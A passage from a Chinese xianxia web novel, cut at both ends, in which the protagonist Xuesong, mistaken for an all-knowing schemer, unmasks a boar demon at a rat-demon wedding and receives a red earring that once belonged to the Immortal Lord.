只要你一个人听见,算不得什么!也有可能只是随便说说,根本没打算真做什么!要是什么都没有就上手去,也许反而会出现误会,把人逼出事来!”
野猪精想了想说:“怎么会是听错呢?当时听见的可不止我一个,只是他们不敢说罢了,怕闹出事来担不起责任!谁又不想看热闹呢?”
他顿了顿又笑道:“我想毕竟是大喜的日子,谁都不想出事,才特意来说的,不然惹这个事干什么?至于证据——”
他拉长了音,看着老鼠盯着他,笑眯眯说:“也不是没有!他脖子上的链子就是证据!银光闪闪的,十分刺眼,怎么会专门藏到衣服底下去?好像舍不得给人看一样!这种东西有什么稀奇的?除非表面上是装饰品,实际上另有用途!”
老鼠皱着眉头问:“什么用途?”
“用来联络外界,试图和他一起扰乱婚宴的,潜伏在附近包围这里的人!”野猪精信誓旦旦说。
“这不可能!他来的时候我看过,周围除了跟着他的那个人,没有别的!”老鼠皱着眉头,仍然不想信,几乎是下意识说。
“这怎么不可能?也许是比较远,藏得好,你不知道!”野猪精看出老鼠的动摇,摇着头说:“不然去试试他?他愿意把那东西给人看,就说明他不心虚,他要是不愿意,那一定是有问题了!你觉得怎么样?”
实际上野猪精之所以这么说,是拿准了雪松不会把那东西给别人,才说得这样肯定,因为他也猜测那是仙尊送给雪松的礼物。
如果仙尊,果然和雪松是道侣,那雪松带着遗物,只不过是他们道侣情深,算不得奇怪,雪松要是不愿意把东西给别人,也正常得很!多半是不会给的!他才有底气这么说!
“那你——”老鼠犹豫着,一时没有办法下决定。
“我这就去试试那个雪……”野猪精一看老鼠似乎有所动摇,毫不犹豫开了口,试图加一把火,让对方下定决心。
只是他们没料到,就在这个时候,雪松从外面走了进来。
因为他们两个绕开了小老鼠,所以不站在洞穴中间,又因为新娘在里面,所以不能进去,就只是站在洞穴里面,一个比较安静的阴影处,雪松进来之后,就一眼看见了他们,向他们走了过去。
野猪精的话音还没有落,只听见身后传来的脚步声,本来没打算注意,以为只是过来的小老鼠什么的,但是站在他对面的老鼠往外一看,看见了迎面走过来的雪松,顿时就大惊失色,瞪了眼睛,倒吸一口凉气。
他心中有些疑惑,见此情形,便缓缓转过头去,想看看究竟是谁,能让老鼠露出那样惊讶的神色,结果也一眼看见了走到面前的雪松,倒吸一口凉气,几乎尖叫:“雪松?!”
他之所以知道雪松的名字,一来是提前从蚯蚓那边,得知过,二来是刚才从老鼠手里那张单子上面瞟了一眼,确定了,自己没有找错人,才这么流利说了出来。
但他没料到自己说名字的时候,雪松会就在旁边听着,面色平静,好像早有预料的样子,也不知道究竟听见了多少,又或者全都知道,只是在给他一个改过自新的机会。
该死!怎么会这么像仙尊?从前仙尊活着的时候,常有人提起,仙尊执行任务,面对那些需要处理的任务对象,总有些网开一面似的,虽然面无表情却偏偏让人觉得有些慈悲,仙尊要是在这,大约也就是这样!
虽然现在感慨这个似乎有些不合时宜,但难怪他们两个是一对!连这种地方也这么像!谁知道究竟相处了多久?!这感情得好到什么地步,才能有这种结果?
等等,雪松现在到这来,该不会是知道他正在告密,所以特意来阻止他吧?现在来已经来不及了吧?
那是来灭口的?还是提前动手?没有看见周围有人!那就是灭口?希望灭口之后,一切还能照旧进行?想得太好了!
野猪精如同被针刺了一样,大声喊了起来:“你做梦!我是不会束手就擒的!”话音未落,变回了原形,向洞口冲去,轰隆隆一阵响,带起了许多灰尘。
连老鼠精见此情形都吃了一惊,不知道他为什么突然跑,又为什么要说那样的话,一想到他刚才正在对自己说什么,又是一惊。
难道刚才的话都被雪松听见了?可是雪松一开始并不在洞穴里面,是刚才才来的!怎么会听见从那么开头的话?
这里面有仙尊的东西?所以雪松作为仙尊的道侣,能够和那东西有联系,听见了他们的话?在哪里?在哪里?根本没有看见!从来没有发现!
仙尊居然在许多年前,就算到自己的道侣,可能在今天来到这里,被他们暗中谋划试探,要拿走他赠送给自己道侣的礼物,所以提前在这个洞穴里埋下了,对应的可用的法宝吗?那得是多久以前!?究竟是什么东西?!一点痕迹都没有!一点气息都没有!
现在的老鼠也顾不得逃跑的野猪了,着急忙慌伸出手在旁边的洞穴山壁上一阵摸索起来,想要找出那个藏在里面不为人知的法宝,没有找到,但是摸到了一个开关,咔嚓一声按了下去。
只听一阵轰隆隆的巨响,逃跑的野猪精一头撞在了,手里正抬着门板的小老鼠的身上,砰的一声把门板撞碎了。
小老鼠在地上翻了几个滚,才勉强停住,一脸迷茫地抬起头来,搞不清楚发生了什么,挠了挠后脑勺。
把门板撞碎了的野猪精还没有昏迷,而是踉跄了几步,一脚踩中了刚才那个巨大声音的开关造成的陷阱,嗷的一声,发出了凄厉的惨叫,一头撞在石头上,还在试图逃跑,但是把石头撞碎了,自己掉进了坑里,终于晕了过去,满怀凄楚绝望的样子,潸然欲泣,知道的,不过是想要离开洞穴失败了,不知道的还以为他下一刻就要被拉去宰了。
雪松站在原地一动也没动,只感觉眨了眨眼睛,一切就已经停了下来,见此情形,几乎要忍不住拍手了,感慨道:“好热闹!”
晕过去的野猪精蹬了蹬腿,试图醒过来,迷迷糊糊听见雪松说话的声音,立刻心中一惊,浑身僵硬在坑底。
果然是他干的,果然是他安排的,果然这一切都是他提前知道的!不然他怎么能未卜先知一样,在自己提起他的名字的时候冒出来?
不然他怎么明知道自己刚刚告了他的密,还说了他的坏话,他却看着自己逃跑而不阻止?因为他早就算好了!
他只要站在那里展示出一切都知道的样子,就会让老鼠自乱阵脚,按下开关,自己就会因为撞上这个时间路过的小老鼠的门板,而掉进那个坑里,没有办法离开,也没有办法再做别的!
不愧是仙尊教出来的道侣!这种算无遗策的本事,完全被学到了!而且非常流畅就运用出来了!好恐怖!好可怕!好狠毒!
野猪精在思绪的剧烈挣扎中,醒了过来,但不可控制吐了一口血,觉得自己元气大伤,苦笑起来。雪松刚才说什么?好热闹?
别人的惊慌失措,痛苦不堪,生死攸关在他眼里不过是一场热闹吗?最多加一个好字?那他对现在的情况,是满意还是不满意?
满意了会怎么样?杀一头野猪助助兴?不满意又会怎么样?把罪魁祸首杀了,满意满意?野猪精觉得自己不能坐以待毙了,强撑着精神,从坑里爬了出去。
爬出去之后,他鬼使神差一般回了头,看见雪松笑盈盈站在原地看着他,仿佛站在鬼门关的阴差一样,知道他无论如何挣扎都脱不了苦海,所以只有若有似无的悲悯和一点居高临下的笑。
他狠狠打了个哆嗦,感到魂飞魄散,更加用力跑了出去,几乎顾不得方式方法,也不管好看不好看,只是一味往前冲,四肢都在用力,浑身上下的肉颤抖着,好像下一刻就会从他的身体里飞出去,但他也没停下来。
恰好这个时候,在雪松进入洞穴之后,就找了个借口从人群中离开的客人和朋友,还真在外面,见到了一群正在游荡寻找猎物的宗门弟子。
这群宗门弟子是秘境开的时候来的,约好了进来之后就相互见面,一起探索,觉得这样或许比较安全,不用提心吊胆的,少说好过一个人在秘境里。
客人和朋友见到他们之后,被他们围住,要当成猎物,一起绞杀了,两个人吓得连忙抱在一起大喊:“我们是来向你们通风报信的!雪松在里面!他在等你们!他可能有危险!”
在一个宗门里面的人就没有不认识雪松的,毕竟他和仙尊的传言甚嚣尘上,要想什么都不知道还是很难的。但他们也不能什么都信,不然就太容易被骗了。
对面正要问,你们怎么证明自己说的话是真的,他们身后不远处,密林之中立刻冲出来一头横冲直撞的野猪,瞪着一双巨大的眼睛,脚上还带着腥味十足的鲜血淋漓的伤口,浑身的毛发耸立着,看起来,又害怕又恐怖。
宗门弟子们立刻变换了队形,丝毫不顾野猪的挣扎,简直可以称得上是训练有素,用飞快的速度,把野猪抓了起来。
野猪本来以为自己逃出了洞穴就安全了,没想到,冲过了林子外面还有一劫,整头猪顿时精疲力尽,反抗了一下就失去了力气,如同浑身上下的血都被抽干了一样,呆呆躺在那里,就好像已经被杀了,做成了腊肉,挂在房顶上一样。
“从哪儿出来的?!”宗门弟子们左右看了看,因为附近有障眼法,没能第一时间发现老鼠们娶亲的位置,因此厉声喝问。
野猪打了个哆嗦,心如死灰,只是不说话,还把眼睛闭上了,假装自己听不懂他们说什么,但真听不懂,不会是这个反应。
便有一个宗门弟子走上前去,踩着野猪,要把捆绑野猪的绳子扯起来,方便勒住野猪的脖子,使其窒息,之后再回答他们的问题。
但站在旁边的,客人和朋友对视一眼,都觉得放任不管不太好,因此欲言又止,小声说:“他和我们是一个地方出来的,我们本来是在参加老鼠的婚宴,我们提前出来是想给你们报信,他提前出来,大约是事情败露,害怕被杀,所以跑出来了吧?”
宗门弟子们面面相觑,都有些惊讶,若有所思看着他们,还有地上的那头野猪,野猪听见他们的声音,睁开了眼睛,本来因为周围一群人,没注意到他们的,但现在定睛一看,完全确认了他们的身份,就是之前宴席上的宾客,其中一个还两次和雪松交谈,让人想忽视都没办法,顿时大怒:“你们这些墙头草!早晚一把火烧死!不会有好报的!”
宗门弟子踹了他一脚,他骂道:“踹我?我也要说话!你以为我是哑巴吗?我可不会那么容易安静!那么想让我别说话,之前问什么?”
“你别得寸进尺!”客人骂了他一句。
他怒火中烧,更加大声嚷嚷起来:“横竖我落到这个地步,已经不怕什么了!你才别得寸进尺!”
朋友拉了拉客人,小声道:“算了吧,狗急了跳墙,他已经是强弩之末,也没有必要和他争的!更何况——”
朋友用更小声的声音说:“他之前就偷偷看了雪松好几次,肯定是蓄谋已久,也许背后还有什么,不然不会平白无故到这来!
再说了,雪松进洞穴没多久,他就从里面跑出来,难道还不能证明他已经被雪松打败了吗?手下败将,不足挂齿!”
客人一脸赞同,点了点头:“你说的对!”他若有所思,摸摸下巴笑道:“这外面这么多人,他还那么谨慎,只带一个人在旁边,甚至孤身进入洞穴,想来早就计算好了,没有什么可担心的!咱们等着赢就是了!”
朋友重重点了点头:“对呀,对呀!”
客人用更加小声的声音对他的朋友说:“还有啊,我们在人群里的时候,他一点破绽都没有,跟他谈这件事,他还好像不知道似的,好强的演技,你再看看这头野猪的情况——”
周围的人都竖起了耳朵,也想听听他究竟要说什么,他继续道:“这头猪比雪松先进洞穴,一定是和老鼠讨论去了,虽然不知究竟讨论了什么,但看着浑身是伤的样子,肯定是没讨论好。
还有,这些伤口没有任何一条和雪松有关,多半是雪松只站在旁边,他就受了伤,这不是借刀杀人,查起来,也多半和雪松无关,好一招置身事外啊!”
他说到这里,语气中已经有些许崇敬之意。
朋友连连点头,若有所思,仿佛明白了什么。
周围的人逐渐回过神来,面面相觑,开始思考他们说的是真的还是假的。如果是假的,为了骗人,未免太大费周章了,如果是真的,雪松真有那么了不起吗?他们之前还不知道呢!
他们有没有和雪松约好,自己还不清楚吗?他们是真没约定啊!但仔细想想,路上也未必没有线索。
也许他们就是受到了雪松的指引,才在冥冥之中选择了这条路,来到了这里?那不得不去看一看了!错过太可惜了!
“把你知道的都说出来!仔细想想!还有没有什么没说的?”宗门弟子看向了意犹未尽的客人和他的朋友,向他们问。
他们俩对视一眼,朋友挠了挠头,补充道:“雪松也许是为了仙尊留下的什么东西来的,而不是真的来参加什么宴会!”
什么随便,什么顺路,什么收到邀请都是假的!
“那你们是怎样同他接触,又怎么联系?怎么知道我们在这儿?怎么恰好撞上的?”宗门弟子们又问。
“我们向他暗示,自己帮了他的忙,还给了他理由,让他进洞穴去查看情况,想着之后也许要打一场,为了避开才出来的,”朋友若有所思,忽然露出恍然大悟的表情,震惊喃喃道,“也许他早就算到我们那时候出来,正好能在外面遇到你们,还正好能让你们见到野猪,证明我们的话,才在那之前答应我们,到洞穴里去的!真是一步三算!”
“那他说没说什么时候让我们进去?”宗门弟子们听了对面两个人一来一回的话,已经相信了七八分,决定暂时不走了,因此又问。
“不知道,”两个人对视一眼,都摇了摇头,想了想说,“也需要再等一会?不如让我们回去试探试探?”
“你们只能回去一个,”宗门弟子怀疑他们要通风报信,一下子又不是很信任他们了,注视着他们说,“选一个吧!”
回去的还是那个客人,他一边往回走,一边在路上遇到了出来通风透气的其他客人,其他客人同他打招呼,他笑着点了点头。
其他客人又问他:“你朋友到哪去了?怎么没跟你一起回来?你们不是一起出去的吗?他干甚呢?”
他笑着说:“他还要再转一转才回来呢!我想着先回来吃点东西,所以没拉他!”
其他客人点了点头,也没细问,就那么让他走了。
洞穴里面,小老鼠呆呆的从地上爬起来,收拾了一下被撞碎的木板,看向了不远处的大老鼠,大老鼠挥了挥手,皱着眉头让小老鼠尽快离开,小老鼠立刻低着头捧着东西,拖着尾巴跑没了。
大老鼠注视着雪松,压下心中的一片荒唐,咬牙切齿,试图假装自己什么也没发现,刚才什么也没说,什么也没想,粉饰太平,皱着眉头问:“你进来干什么?”
“刚才你不是让我填了一个单子吗?那个把单子递给我的客人说,他好像太紧张出了汗,把字按糊了,让我过来告诉你一声,检查检查,别耽误了事儿。”雪松如实回答。
大老鼠皱着眉头想了想,一时没想起那个客人,究竟是谁,只记得自己随便找了个人,就把东西塞过去了,让人帮忙,现在懊悔也来不及了,感觉肠子都快青了。
大老鼠只能打落牙齿和血吞,瞪着雪松,把他打量了一番,觉得自己未尝没有胜算,因此试探着对他招了招手,扭曲着脸,露出微笑:“你过来一下!”
“做什么?”雪松看着他的面部表情,皱巴巴的,不是中毒了,就是闻到极臭的臭味了,感觉他那个站位不太好,不是很想去。
“你不是说,那个客人告诉你不小心出汗,把单子的字迹弄花了吗?我眼神不太好,也不太确定你的消息,你过来看看怎么样?”大老鼠心中暗恨他不肯过去,但又没什么办法,只能一边说一边向他靠近,试探着他的态度。
雪松看大老鼠走得慢吞吞的,捏着帕子,一副骨头痛的样子,离开了刚才站的位置,想现在走过去应该也没什么,也就往前走了两步,一把扶住了大老鼠拿帕子的那条胳膊,怕这只老鼠半路摔一跤,反而把东西摔没了,就说:“那你拿出来我看吧。”
大老鼠正想借着手里帕子的遮掩,把揣在兜里的夜明珠掏出来,狠狠闪瞎雪松的眼睛,再把这颗夜明珠丢到雪松的脸上炸开,让他没有办法行动,只能在地上捂着脸哀嚎,可惜,出师未捷身先死,连手都没抽出来,帕子还包着夜明珠,这下子是想出出不来,想走走不掉,想放回去,也因为胳膊被钳住了,几乎没有办法动弹。
大老鼠的脸色一下子变得很难看,本来就黑漆漆的脸上更加黑了,一时没控制住,脸颊两旁冒出了几缕属于老鼠的长长的胡须。
雪松站得距离这只老鼠不算远,老鼠的胡须一冒出来,就险些戳到雪松的脸上,雪松几乎怀疑这老鼠是故意的,皱着眉头,往后一仰躲开了,捏着老鼠的胳膊提醒道:“收起你的胡须!不要戳到我的脸!”
老鼠浑身一颤,陡然一惊,惊讶之后又有一种果然如此的感觉,浑身上下都软了,整只老鼠绵绵塌了下去,好像突然没有了力气。
是啊,还能有什么力气呢?不管要做什么,对方都能先行一步!不管在想什么,对方都能猜到!这怎么打?这能怎么打?这根本打不过!
雪松嘴上说收起胡须,实际上是让老鼠把手里的夜明珠收起来吧?说是不要戳到他的脸,实际上,是让老鼠不要以为能够伤到他,更何况是他的脸。真是狂妄!偏偏他又有狂妄的资本,叫人无可奈何!
老鼠叹了一口气,感觉自己的胳膊都要被捏断了,呻吟一声,把手抽了抽,松开了手里的夜明珠,连帕子也松开了,声音虚虚,示弱道:“我有点疼,能把我松开吗?”
雪松将信将疑,松开了老鼠的胳膊,感觉自己也没用什么力气,正在疑惑,老鼠感觉自己的胳膊好了一些,又想偷袭,偷偷在手里捏了法诀,正要念,雪松把手一放,撞着了老鼠的那只手。
老鼠哎哟一声,顿时被法术反噬,踉跄了两步,身体摇晃起来,把头一低就开始吐血,一口鲜血吐出去,眼前都发黑,感觉命不久矣。
呜呼哀哉,看来今天真要死在这儿了!这小子真狠呢!自己什么都不做,就骗着别人把一招两招都交出去了!原来是想用反噬害死我!没想到我活了这么大把年纪,居然会因为反噬而死!
亏他第二次想要偷袭的时候,还特意换了一只手,没想到没什么用,还是着了道了!这就是仙尊道侣的含金量吗?打不过!真的打不过!
雪松见这老鼠要死不活的,也不知究竟怎么了,只得重新伸手扶住,也不是完全没感觉到有灵力波动,但还以为是这里的,环境太陌生,周围的妖修又太多,太杂的缘故,谁知道谁在附近干什么呢?
也许是那不远处的一大堆的小老鼠,趁着没有被注意到,想用法术,给自己偷点空闲时间。
或者是像刚才那样,哪只老鼠不小心,碰到了不知什么开关,把这附近的什么东西的灵力给打开了,也不是不可能。
横竖对面的大老鼠并没光明正大向他发起攻击,他又何必提前撕破脸呢?
因此他假装十分亲切和蔼,什么都没察觉的样子,扶着老鼠微笑道:“要到旁边去坐坐吗?我看附近好像有座位呢?你应该比我清楚吧?”
老鼠浑身一抖,瞪大了眼睛。威胁!这是赤裸裸的威胁!他不仅嘲讽我已经老得站不动了,他还在暗示我,他知道这附近的布局,不然他怎么清楚哪里有座位?
我比他清楚?我当然比他清楚!我负责这里,我能不清楚吗?那他又凭什么知道?有内奸在通风报信!
第98章
大老鼠咬牙切齿, 气得浑身颤抖,恨不得立刻握着拳头去把所有的小老鼠都叫过来,狠狠搜查他们, 直到找出那个通风报信的今行为止!
但是现在没有办法那么做, 因为雪松还在面前握着大老鼠的胳膊,大老鼠要是想走, 要么从雪松手里挣脱直接走掉, 那就要和雪松交恶,他可不想开战。
那另外一个办法就是, 说点假话来骗骗雪松,让雪松把自己放开, 但是, 大老鼠刚才两次偷袭都不成, 雪松显然已经识破了大老鼠的计谋, 现在再说什么假话,又怎么能骗过雪松呢?
大老鼠闭着眼睛想了想, 只觉得自己无力回天, 叹了一口气,重新睁开眼睛,浑身上下像是老了十多岁,放弃了抵抗,对雪松说:“你跟我来。”
早知道,他就不该把人带来的, 但现在已经来了,后悔也晚了!他不得不又叹了一口气,觉得事情十分倒霉,下次还是谨慎一些比较好。
他转过身去, 往洞穴里走,雪松虽然搞不明白,他为什么要叫自己往里走,但看他这副颓废的样子,也不像是装聋作哑来骗人,然后把人弄到陷阱里面去,也就跟着他走了。
大老鼠一边往前走,一边叹气,却避开了小老鼠和新娘,走到岔路口,打开了一个箱子,把那个红色的箱子递给了雪松:“拿去吧!”
雪松接过那个箱子,一脸迷茫,不知道,他把这个箱子给自己是什么意思,听见他说拿走,一时怀疑自己听错了,但仔细看他的脸,他仿佛并不是在开玩笑。
也对,怎么会有人开这种玩笑?
大老鼠看了雪松一眼,看雪松正注视着箱子,收回目光,心里又叹了一口气。果然是为了这东西来的!在看见那张脸的时候,就应该知道的!
可惜可惜,当时只想着热闹,却忘了长着这种脸的人,怎么可能和仙尊没有关系呢?更何况,还有明明白白的那个名字!谁会相信,他来这里不是为了仙尊的东西?
引狼入室,真是引狼入室!
雪松低头看了看箱子,箱子上面密密麻麻都是法阵,还贴着一张黄符,好像生怕被人看了去,保护得十分严密,这种东西,如果不是价值不菲,就是意义非凡。
对面干嘛要把这个送给他?雪松感到了疑惑,正想要问,大老鼠对他挥了挥手,垂着眼睛坐在了旁边,一副不想多说的样子,声音低低道:“你可以出去了。”
雪松欲言又止,见对方没有说话的兴致,还是只有抱着盒子走了,在半路上就把盒子打开了,盒子刚刚打开,一股熟悉的灵力扑面而来,他立刻愣住,待在了原地。
如果他没有感觉错,这里面扑出来的灵力原本是属于他的,或者说是属于仙尊的,那怎么会在这儿?
他伸手把盒子里的东西拿了出来,定睛一看,是一只猩红色的耳坠子,圆圆的一个点,好像刚从刺破的伤口里滴出来的,新鲜的血,还没来得及凝固。
他把这东西拿在手里,不由自主回忆起了当初得到这东西的场景,那时候他的年纪还轻,在一个镇子里完成了任务,宗门给的任务奖励就是这个东西。
这大小也算个灵器,他刚拿到手的时候也觉得新鲜,戴了一阵子,但是后来,觉得挺麻烦的,也就没带了。
更何况颜色太鲜艳了,他要是一身上下都穿白色,偏偏带一个红色的耳坠子,看起来就像是雪地里躺了一具新鲜的尸体,挺诡异的,也不是很和谐,给人一种,不能明着嚣张,所以暗着来的感觉。
他不喜欢那种感觉,再说了,他的身份其实不适合嚣张,一个本来就强势的人,再稍微嚣张一点,会从本来就不平易近人变得更加居高临下,不利于执行任务,也不利于隐藏,除非是任务有需要进行身份扮演。
但他真要是进行身份扮演,是不能带任何可以让人一眼看出来属于他的东西的,否则,那算什么扮演?不过是装样子罢了。
再说,任务里的敌人也不见得愿意陪他玩过家家。真要是涉及到什么自己和敌人之外的存在,生死之间,也容易被推责,倒霉得很。
所以后来他就收起来了,毕竟他没有浑身上下带各种各样东西的习惯,但现在不一样了,现在修为还低,不带这样那样的东西容易死,为了保护自己,带上是有必要的。
所以他现在不介意带这些,这么一想,他也就把这红宝石般的耳坠子扣在了耳朵上,把箱子盖好,放在系统空间里,之后才走出去。
在洞口正好遇到,准备进来看看他的情况的客人,客人一看见他,就松了一口气,感觉自己应该不至于被外面的人围剿了,包括自己的朋友,立刻觉得庆幸。
随后客人就注意到雪松耳朵上多了一个耳坠子,不由得睁大眼睛吃了一惊,进去之前还没有的,现在怎么冒出来了?
应该不是和大老鼠谈着谈着,突然想带个装饰吧?那是差点要打起来,所以给自己加个增幅?
不太对,雪松都已经处处算到了,大老鼠明知自己没有胜算,怎么可能还跟他打?又不是奔着找死去的。
那是因为什么?大老鼠的妥协?为了不打起来,而进行的赠送?这倒很有可能!客人因此试探着问:“你耳朵上的是?”
雪松摸了摸那个刚带上的东西,面不改色回答:“刚才那位老鼠送给我的东西。”
客人一边点头,一边跟着他往外走,好奇问:“那他为什么突然送你东西?是送给客人的吗?我怎么没有?”
一定有什么缘故吧!是什么呢?和仙尊有关?多半是吧!告诉我,告诉我,告诉我!我可想知道了!
“不知道,”雪松想了想刚才的事,摇了摇头,在他看来,大老鼠就是突然颓废了,让他跟着往前走,把东西交给他,又让他走,压根没说什么,因此回答,“应该只是送给我的,因为他没让我拿其他东西给别的客人。”
客人若有所思,点了点头。不是给所有客人的,那就说明并不是提前准备好要送出来的,感谢客人来到婚礼上的东西。
只是给雪松的,那就说明这个东西一定和雪松有关,否则没必要送给雪松,甚至没必要送出来,毕竟那只老鼠可不是来做慈善的,平白无故,怎么会愿意送人东西呢?
说不定,要不是发现自己无力抵抗,根本没想起这一茬。那一定就是仙尊的东西了!仙尊的东西交给雪松,也算是物归原主?
这倒也不稀奇,不管是谁,在雪松那种,仿佛无所不知的强力压迫下,也会感到绝望无力,进而将自己珍藏的,可能有用,可能有关的东西交出来,换取性命或者求和。
说起来,雪松居然没有把大老鼠的性命拿走,还真是手下留情!
不然,不提雪松自己的修为不差,就说外面那些突然出现早有准备的宗门弟子,雪松想要杀大老鼠,还不是手到擒来的事吗?这都没动手,可见仙尊的东西确实有用。
可是,从前倒没听说过,仙尊身上有什么红艳艳的配饰,在耳朵上,那应该是不常示人的东西?雪松连仙尊不常给人看见的东西都知道,可见他们确实关系匪浅!
“那这东西有什么特殊的吗?”客人望着雪松问。
雪松叹了一口气说:“没什么特殊的,就是一个普通的法宝而已,如果一定要说,和别的有什么不一样,也许是——”
他沉默了好一会儿:“曾经是仙尊的东西吧。”自己拿到自己的遗物还蛮唏嘘的。虽然别人大概率不会觉得,属于仙尊的东西就等于是他的,但他们大多数时候会以为他和仙尊有关系,四舍五入,也差不多了。
客人点了点头。果然和仙尊有关!对于雪松而言,这东西的唯一特殊之处,居然是“仙尊的东西”?看来仙尊对他是真的意义非凡!
难怪他可以联络外面的那么多的人,悄无声息的,不引人注意,还若无其事,那些人还真的听他的。
想必那些人也觉得他和仙尊一定有关系,所以听他的,也不算有问题,毕竟不管是仙尊的修为还是身份地位,比其他弟子可高多了,如果他真是仙尊的道侣,可以和仙尊地位等同,那那些弟子也不算是丢脸。
外面的弟子实在没有等到消息,等不及就进来了,坐在桌子旁边的客人们见此情形,顿时作鸟兽散。
之后,宗门弟子和雪松,就见了面,犀牛在旁边和客人的朋友面面相觑,低声问:“这是怎么回事?”
那朋友坐在他旁边,一脸惊讶说:“你们不是一起来的吗?你都不知道?”
犀牛摇了摇头:“我确实不知道。”难道雪松在他不注意的时候,暗地里做了什么?可是有什么必要呢?他们不是顺路过来坐坐吗?
朋友摇了摇头,一脸这你就不知道了的表情,充满热情,对他呵呵笑着迫不及待科普说:“雪松来之前就联络了宗门弟子,打算把这里一锅端了,现在只不过是这些宗门弟子,在明面上出现而已。你不知道,大约是他保密工作做得很好吧。
这也正常!事以密成!这种事情要是知道的人多了,那不就办不成了?你也不用放在心上!他不是不信任你的意思,只是为了以防万一,所以更谨慎一些罢了。”
犀牛将信将疑,点了点头,又有一些疑惑问:“那你是怎么知道的?他都不告诉我,反而告诉了你们?”
朋友接着摇头:“当然不是了,我们是自己猜出来的,看他情况就知道了,他那样的人怎么可能孤身一人前来呢?即使把你带上,也算不得什么。”
“为什么?”犀牛皱着眉头。
“因为你一看战斗力就不强啊!虽然比不过他强,是正常情况,但是,你都不比他强,你还跟他来,那帮不上忙,不就只能添乱了?到处都是陌生的,危险的妖修的情况下,你觉得他可能真的只带你一个人吗?”朋友摇了摇头,仔仔细细对他解释说。
他若有所思点了点头,露出恍然大悟的表情,逐渐相信了对方的话:“原来是这样!我说他怎么来了!原来是早有准备!”
他说着往周围看了看,大概数了一下出现的宗门弟子的数量,倒吸一口凉气,感到了惊讶:“这么多人!他之前一点也没跟我说,我一点也看不出来!他准备得好充分!怪不得那样镇定,我要是知道有这么多人在附近保护着,等待着包围着,我也能镇定自若!”
朋友点了点头,一脸孺子可教也,赞许说:“看来你明白了!他之所以胸有成竹,是早有准备,之所以早有准备,是在我们都不知道的时候,就提前开始布局了!所以他那么平静也正常!”
犀牛想了想,忽然挑了挑眉,感到疑惑:“他耳朵上的是什么?他为什么要提前布局?他在这里布局干什么?”
“多半是仙尊曾经来过这附近,感知到这里以后可能成为一个秘境,被封存起来又打开,还算过他可能会来到这里,以他们的关系,仙尊要照拂一二也是应当的,”朋友若有所思说,“那么,很久以前,仙尊把这里资源充沛又灵气丰富,可能变成秘境的事情告诉了他,还告诉他,他可能会来到这里,他学习了仙尊的占卜之术,按照占卜得来的指示,提前用各种手段在这里安排,为了自己的安全,也是有可能的!”
犀牛将信将疑,点了点头,又觉得这实在有点太麻烦了:“可是,仙尊活着的时候是多么早以前了?真的有可能吗?”
朋友呵呵呵笑了起来,一脸你完全不懂的样子,摇着头,一副老派学究的语气说:“怎么不可能?难道你看不出来?不管是他的脸还是他的名字,还是他身上的东西,几乎没有一样是和仙尊没关系的!
即使以他的年纪,和仙尊对不上,可是别忘了世界上还有转世!也许他是仙尊道侣的转世,如今不过是想起从前的记忆,那身体年纪对不上是正常的!”
于是犀牛又被说服了,点了点头,像个被按着琴键的钢琴一样,一个劲发出不同阶段的声音:“我明白了!”
朋友点了点头,想了想他之前的问题,又接着说:“他耳朵上那个多半也是仙尊的东西,不然怎么会一拿到就立刻带上?你之前根本没看见他带过这东西?那一定是刚才进去的时候拿到的!
说不定他来这就是为了这个!连仙尊流落在外的遗物都舍不得,非要拿到手里,不管是作为纪念,还是睹物思人,都是在可歌可泣呀!”
犀牛瞪大了眼睛,感觉开发了新世界,像一只被捏住的尖叫鸡一样,呜呜喔喔叫起来:“原来如此,原来如此!”
至于见到雪松的宗门弟子,他们先是愣了一下,随后看见了雪松耳朵上多出来的那个东西,相互看了看,似乎都想起了什么,眯了眯眼睛,一脸感慨着,露出果然如此的表情。
是为了这个东西来的吧?这就是传说中的遗落在秘境中仙尊的东西?进来之前一点都看不出来目的地!原来是在这!
这么精准找到这儿来,还一拿到东西就带上,除了早有准备,目的明确,心思缜密,情深义重,还能有什么可能呢?
他们把逃跑的野猪精弄到雪松的面前问:“这个东西要怎么处理呀?”
野猪精已经在雪松出现之前,因为过于紧张,加上伤口疼痛和流血,不知不觉又晕了过去,现在还没有醒过来。
雪松看了一眼,从野猪的身上察觉出了蚯蚓的气息,若有所思:“随便你们。”
其他宗门弟子们点了点头,立刻开始瓜分战斗果实,各自取得了战利品,一本满足,兴高采烈,又问:“那我们现在能到洞穴里面去吗?”
“这我就不知道了,”雪松摇了摇头,“不过,里面有一个等着结婚的新娘,一堆忙碌的小老鼠,还有一只,不知道怎么颓废下去了的大老鼠,那只大老鼠刚才送了我一个东西——”
他顿了顿,下意识想要辩解,他来这里不是为了这东西,也没对那只老鼠做什么,完全是那只老鼠自己要送的,但这话听起来有种得了便宜还卖乖的感觉,而且看见众人一副我们都明白的表情,还是没把解释说出来,反正他们都不会信,何必浪费时间呢?
于是他说:“还是不要打扰了吧?”
宗门弟子们面面相觑,都露出有点可惜的表情,但还是听了他的话说:“既然如此,那好吧。”
雪松说随便他们,他们就随便,雪松说还是不要打扰,他们就不打扰,犀牛在旁边见此情形,倒吸一口凉气,大为震惊。
连带着悄悄不知什么时候走到他身边,仿佛这里比其他地方更安全一些似的,至今还留在桌边的客人和客人的朋友都瞪大了眼睛。
果然这些人是雪松找来的,不然他们怎么这么听话?要是随便在路上拉一群不认识的人过来,绝对不可能像现在这样安静又乖巧!
雪松在宗门里的身份绝对像是仙尊一样高,实锤了!哪怕他现在的修为暂时还比不过仙尊,但也并不影响他在宗门里的地位——
真叫人羡慕啊!不过一想到他是因为死了道侣才得到这些东西的,又觉得羡慕这个好像有点缺德,仿佛盼着别人身边的什么人死似的。
犀牛和另外两个人面面相觑,都假装自己什么也没想,默默收回了目光,露出若无其事的表情。
秘境的出口打开了,早就想离开的宗门弟子们高兴得欢呼雀跃起来:“我们可以走了,太好了!现在就走吧?没什么要收拾的吧?”
他们相互看了看,都觉得可以立刻就走,于是看向了雪松,雪松站在旁边收到了他们的目光,眨了眨眼睛,有一点迟疑。
离开倒不是不行,算算时间,其实也该回去了,但带着耳坠子回去,有种一找到东西就昭告天下的奇怪错觉,他还没准备好。
如果把这东西取下来,那他不是白拿回来了?多可惜啊!更何况他现在的修为……有这么一个东西在,总还是比没有要好些!
他想了想,硬着头皮,面无表情说:“走吧。”
众人点了点头,陆陆续续从入口走了,犀牛也迫不及待进去了,走之前临门一脚,转头向雪松问:“你怎么要到最后才走啊?”
雪松垂着眼睛说:“横竖都是回去,是不是最后有什么大不了?有人想提前回去,那就让他们在前面,我不介意。最后就最后吧。”
